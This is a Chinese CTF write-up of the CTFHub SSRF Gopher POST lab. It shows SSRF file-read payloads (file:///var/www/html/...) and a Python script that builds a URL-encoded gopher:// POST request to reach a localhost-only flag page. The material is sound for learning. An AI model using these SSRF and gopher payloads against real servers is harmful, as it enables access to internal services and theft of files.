当前位置: 首页 > news >正文

CTFHub靶场之SSRF Gopher POST请求(python脚本法)

目录

一、SSRF简介

二、Gopher协议

1、Gopher简介

2、Gopher语法

三、渗透实战

1、目录探测

(1)Dirsearch探测

(2)查看index.php

(3)查看flag.php

2、获取Key值

3、构造gopher渗透Payload

4、获取flag


本文介绍了如何使用脚本法利用SSRF+Gopher协议进行CTFHub SSRF POST关卡的渗透测试。首先通过目录探测发现flag.php文件,利用file协议查看源码,发现需要本地访问才能获取flag。然后构造Gopher协议的POST请求包,将key值通过URL编码后发送到127.0.0.1的flag.php页面,最终成功获取flag。整个过程展示了SSRF的危害性以及Gopher协议在渗透测试中的特殊用途。

一、SSRF简介

SSRF(Server-Side Request Forgery,服务器端请求伪造)因服务器未严格校验用户输入的请求目标,允许攻击者诱导服务器向任意地址发起请求。其核心危害在于突破客户端访问限制,攻击者可利用SSRF访问服务器所在内网资源(如内网数据库、服务接口)、扫描内网端口、攻击内网设备,甚至通过构造特殊协议请求(如 Gopher、FTP)操控目标服务(如 Redis 未授权访问)。

二、Gopher协议

1、Gopher简介

Gopher 协议是 1991 年出现的互联网信息检索协议,比 HTTP 更早,以层级菜单式交互为核心,专注高效信息传递。它通过简单的文本菜单组织资源,支持文件、目录、查询等多种类型,默认使用 70 端口。虽因 HTTP 兴起渐被取代,但因其轻量特性,仍在特定场景使用,也常被用于 SSRF 攻击,通过构造特殊请求包操控内网服务。

特性说明优势
协议灵活性可以模拟HTTP、Redis、MySQL等协议一把钥匙开多把锁
原始TCP访问直接发送原始TCP数据包完全控制请求内容
绕过限制很多WAF不检测Gopher协议绕过安全防护
内网渗透直接攻击内网无Web界面的服务扩大攻击面

2、Gopher语法

用于SSRF攻击的gopher语法如下所示,其中_ 下划线字符(第一个字符会被服务器忽略),<URL编码的TCP数据>表示要发送的原始TCP数据。

gopher://host:port/_<URL编码的TCP数据>

Gopher 协议中,特殊字符需进行 URL 编码才能正确传输,尤其是在构造交互数据或菜单条目时。以下是常用特殊字符的编码对应关系:

字符含义 / 作用URL 编码
\t(制表符)分隔菜单中的字段(类型、路径、主机、端口)%09
\r(回车)与换行符配合表示行结束%0D
\n(换行)表示新行或命令分隔%0A
(空格)分隔命令参数%20
_(下划线)Gopher 路径分隔符无需编码
*某些协议的命令前缀(如 Redis)%2A

三、渗透实战

打开题目,提示信息为“这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年”。此时点击开启题目,将URL地址复制下来。

 打开burpsuite开启抓包模式,firefox浏览器开启代理指向burpsuite。在firefox浏览器打开靶场,访问index.php,上一步复制的完整URL地址如下所示。

http://challenge-f22fa60d5a3cea0a.sandbox.ctfhub.com:10800/

使用burpsuite抓包,如下所示。此时服务器返回的响应为HTTP/1.1 302 Found,并重定向到/?url=_页面,提示有一个参数名为url,index.php的响应报文如下所示,根据提示我们可以利用url这个参数获取源码内容。

1、目录探测

(1)Dirsearch探测

使用 dirsearch 对靶场进行目录探测时,通过命令 python dirsearch.py -u 靶场URL -i 200,300-399 指定了响应状态码范围,成功发现了flag.php文件。加入 -i 参数是为了筛选显示特定状态码的结果——若不添加该参数,扫描结果中将出现大量 503 状态响应,干扰有效信息的提取,用户需要耗费大量时间在冗余信息中人工筛选才能定位到 flag.php文件。下图展示了未加该参数时的执行结果,可见有效结果被淹没在大量无关响应之中:

在通过-i参数限制只显示 200 和 3xx的响应值后,运行结果如下所示,确认根目录下存在flag.php文件,稍后我们同样利用file协议访问flag.php。

(2)查看index.php

通过使用file协议访问index.php的源码,输入?url=file:///var/www/html/index.php的Paylaod进行访问,右键查看源码效果如下所示,显示了index.php的源码内容。

对源码进行详细分析,代码中包含函数curl_exec()函数,说明这是一个存在严重SSRF(服务器端请求伪造)安全风险的PHP源码,因为$_REQUEST['url'] 直接传递给 CURLOPT_URL,其参数为URL。它首先检查请求中是否包含url参数,若不存在则重定向到/?url=_;当存在url参数时,通过 cURL 库初始化请求,设置目标 URL 为传入的url参数值,关闭响应头输出,启用自动跟随重定向功能,然后执行该 cURL 请求并关闭会话,最终将请求结果返回给客户端,整体起到转发指定 URL 内容的作用,且关闭了错误报告、这意味着攻击者可构造恶意url值,诱导服务器端(运行该 PHP 代码的服务器)向任意地址指定的任意地址发起请求,包括内网资源。

(3)查看flag.php

接下来构造URL,查看flag.php文件:?url=file:///var/www/html/flag.php。如下所示访问flag页面后发现当前为空页面,使用右键查看源码打开。分析源码,flag.php源码内容如下所示,它告诉我们只有从 127.0.0.1(即服务器本地)访问此页面时,才会继续执行;否则,显示 "Just View From 127.0.0.1" 并停止。

由于页面只能从 127.0.0.1 访问,普通用户无法直接打开这个页面。因此,通常需要利用 SSRF(服务器端请求伪造) 来绕过 IP 限制。详细注释后的源码分析如下所示。

<?php
// 关闭所有错误报告,避免向用户泄露敏感信息
error_reporting(0);// 检查客户端的 IP 地址是否为 127.0.0.1(即本地主机)
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {echo "Just View From 127.0.0.1";return; // 如果不是本地 IP,显示消息并停止执行
}// 从环境变量中获取 flag 的值,环境变量名为 "CTFHUB"
$flag = getenv("CTFHUB");
// 计算 flag 的 MD5 哈希值,作为密钥
$key = md5($flag);// 检查用户是否通过 POST 方法提交了 "key" 参数,并且该参数的值等于 $key(flag 的 MD5)
if (isset($_POST["key"]) && $_POST["key"] == $key) {echo $flag; // 如果匹配,输出 flagexit; // 并退出程序
}
?><!-- 下面是一个简单的 HTML 表单,用于提交 key -->
<form action="/flag.php" method="post"><input type="text" name="key"><!-- 调试信息:在注释中显示 key 的 MD5 值,但用户通常看不到(除非查看页面源代码) --><!-- Debug: key=<?php echo $key;?>-->
</form>

这段代码用于验证访问者身份并输出 flag。首先限制仅允许本地 IP(127.0.0.1)访问,非本地访问会被拒绝;本地访问时,从环境变量获取 flag 并计算其 MD5 作为密钥key;当用户通过POST提交的"key"参数与key 匹配时,输出 flag,页面还隐藏了包含 $key 的调试注释(需查看源码可见)。

  •  利用本地访问权限:由于代码限制仅 127.0.0.1 可访问,需通过服务器本地发起请求(如结合 SSRF让存在 SSRF 的服务端以本地 IP 访问该页面)。
  • 获取密钥key:本地访问flag.php后,查看页面源代码,从注释`<!-- Debug: key=xxx -->`中提取key值(flag 的 MD5 值)。
  • 提交验证:通过 POST 方法向该页面提交key,即可触发echo $flag获得 flag 值。 

2、获取Key值

综上分析需通过127.0.0.1去访问服务器以绕过IP限制,故而查看flag.php文件应该使用Payload(/?url=127.0.0.1/flag.php)来拿到KEY,key值为1d6f712be0071e5bb96d3a4e44b533fd。

  

3、构造gopher渗透Payload

结合最初页面的提示“这次是发一个HTTP POST请求。对了,ssrf是用php的curl实现的”,分析如何在ssrf提交post传参,即通过满足如下条件构造报文,这里需要注意content-length的长度32正好是key的长度,也就是通过len(key=1d6f712be0071e5bb96d3a4e44b533fd)计算得来。

  • 用户需要通过 POST 请求提交一个 key 参数。

  • 如果提交的 key 与 flag 的 MD5 值(即 $key)相等,则直接输出 flag。

POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36key=1d6f712be0071e5bb96d3a4e44b533fd

这里就要介绍到gopher协议,通过gopher协议构建一个POST请求包来发送这个KEY,由于Gopher协议需要进行URL编码,故而对如上报文进行编码,python脚本如下所示。

import urllib.parsepayload = """POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36key=1d6f712be0071e5bb96d3a4e44b533fd"""
print("[+] 构造的POST请求:")
print(payload)
print()payload = payload.replace("\n", "\r\n")
gopher_payload = f"gopher://127.0.0.1:80/_{urllib.parse.quote(payload)}"print("[+] Gopher URL:")
print(gopher_payload)
print()final_url = f"?url={urllib.parse.quote(gopher_payload)}"
print("[+] 最终请求URL:")
print(final_url)
print()

运行结果如下所示,其中最终请求的URL即为Payload。

[+] Gopher URL:
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3D1d6f712be0071e5bb96d3a4e44b533fd[+] 最终请求URL:
?url=gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D1d6f712be0071e5bb96d3a4e44b533fd

4、获取flag

构造gopher Payload并使用burpsuite发包,如下所示成功获取到flag。

http://www.dtcms.com/a/373939.html

相关文章:

  • OpenWrt | 在 PPP 拨号模式下启用 IPv6 功能
  • 代码随想录算法训练营第六天 - 哈希表2 || 454.四数相加II / 383.赎金信 / 15.三数之和 / 18.四数之和
  • Java 中 wait 与 notify 的详解:线程协作的关键机制
  • Linux下编译Gmsh
  • api-ms-win-crt-runtime-l1-0.dll 丢失或错误的详细解决方法,教你最靠谱的解决方法
  • 如何在QT的pro文件中判断当前使用arm架构还是x86
  • 【Java】QBC检索和本地SQL检索
  • [修订版]Xenomai/IPIPE源代码情景解析
  • 机器学习-K-means聚类算法
  • Java基础知识点汇总(六)
  • 鸿蒙:深色模式适配和浅色模式的切换
  • 房屋安全鉴定机构推荐名单
  • 各种协议 RDP、SSH、TELNET、VNC、X11、SFTP、FTP、Rlogin 的区别
  • 机器人控制知识点(一):机器人控制中的位置环增益 $K_p$ 是什么?
  • 米勒平台开通和关断过程分析
  • 【ComfyUI】混元3D 2.0 多视图生成模型
  • 自建云音乐服务器:Navidrome+cpolar让无损音乐随身听
  • 开发家政上门服务系统的技术难点主要有哪些?
  • PySpark数据计算
  • Flink中的 BinaryRowData 以及大小端
  • 嵌入式系统学习Day35(sqlite3数据库)
  • 25.9.8 C++day8作业
  • PySpark数据输入
  • C++工程实战入门笔记13-多态
  • Python元组:不可变但灵活的数据容器
  • 设计模式(策略,观察者,单例,工厂方法)
  • C++智能指针(先行版)
  • 安卓蓝牙文件传输完整指南
  • C++读文件(大学考试难度)
  • 拆解LinuxI2C驱动之mpu6050